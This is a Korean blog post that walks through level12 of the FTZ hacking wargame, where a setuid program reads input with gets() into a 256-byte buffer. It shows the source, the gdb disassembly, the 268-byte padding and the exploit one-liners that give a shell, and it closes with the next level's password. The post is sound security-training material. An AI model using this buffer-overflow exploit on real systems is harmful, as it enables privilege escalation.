티스토리 뷰

System/FTZ

[FTZ] level12

MitNy 2017. 9. 20. 16:58



level12도 attackme가 있는걸 보니 또 bof 문제인 것 같다.


힌트는 다음과 같다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

char str[256];


  setreuid( 3093, 3093 );

printf( "문장을 입력하세요.\n" );

gets( str );

printf( "%s\n", str );

}


(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>: push   ebp

0x08048471 <main+1>: mov    ebp,esp

0x08048473 <main+3>: sub    esp,0x108

0x08048479 <main+9>: sub    esp,0x8

0x0804847c <main+12>: push   0xc15

0x08048481 <main+17>: push   0xc15

0x08048486 <main+22>: call   0x804835c <setreuid>

0x0804848b <main+27>: add    esp,0x10

0x0804848e <main+30>: sub    esp,0xc

0x08048491 <main+33>: push   0x8048538

0x08048496 <main+38>: call   0x804834c <printf>

0x0804849b <main+43>: add    esp,0x10

0x0804849e <main+46>: sub    esp,0xc

0x080484a1 <main+49>: lea    eax,[ebp-264]

0x080484a7 <main+55>: push   eax

0x080484a8 <main+56>: call   0x804831c <gets>

0x080484ad <main+61>: add    esp,0x10

0x080484b0 <main+64>: sub    esp,0x8

0x080484b3 <main+67>: lea    eax,[ebp-264]

0x080484b9 <main+73>: push   eax

0x080484ba <main+74>: push   0x804854c

0x080484bf <main+79>: call   0x804834c <printf>

0x080484c4 <main+84>: add    esp,0x10

0x080484c7 <main+87>: leave

0x080484c8 <main+88>: ret

0x080484c9 <main+89>: lea    esi,[esi]

0x080484cc <main+92>: nop

0x080484cd <main+93>: nop

0x080484ce <main+94>: nop

0x080484cf <main+95>: nop

End of assembler dump.


이번에도 str[256]이고 dummy가 8이다.


level11을 풀었던 방법으로 한번 시도해봤다.


export로 shellcode 환경변수를 추가해주고

주소를 출력해주는 코드를 작성하고 실행시키면 주소가 출력된다.


0xbffffc1c



./attackme `python -c 'print "A"*268+"\x1c\xfc\xff\xbf"'`


을 입력했을 때, 바로 쉘을 얻을 수 없고,

"문장을 입력하세요."가 출력되고 user로 부터 문장을 입력받도록 되어있다.





검색해보니 cat을 파이프를 이용해 한번에 실행시킬 수 있다고 한다.


(python -c 'print "A"*268+"\x1c\xfc\xff\xbf"';cat) | ./attackme





AAAAAAAAAAAAAAAAAAAA .....  ? 가 뜨고 엔터를 막 쳤었는데 뭐지? 하다가

명령어들을 입력해봤더니 쉘이 따졌다는걸 알 수 있었다!


Level13 Password is "have no clue".

'System > FTZ' 카테고리의 다른 글

[FTZ] level14  (0) 2017.09.25
[FTZ] level13  (3) 2017.09.21
[FTZ] level11  (0) 2017.09.18
[FTZ] level10  (0) 2017.09.14
[FTZ] level9  (0) 2017.09.13
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함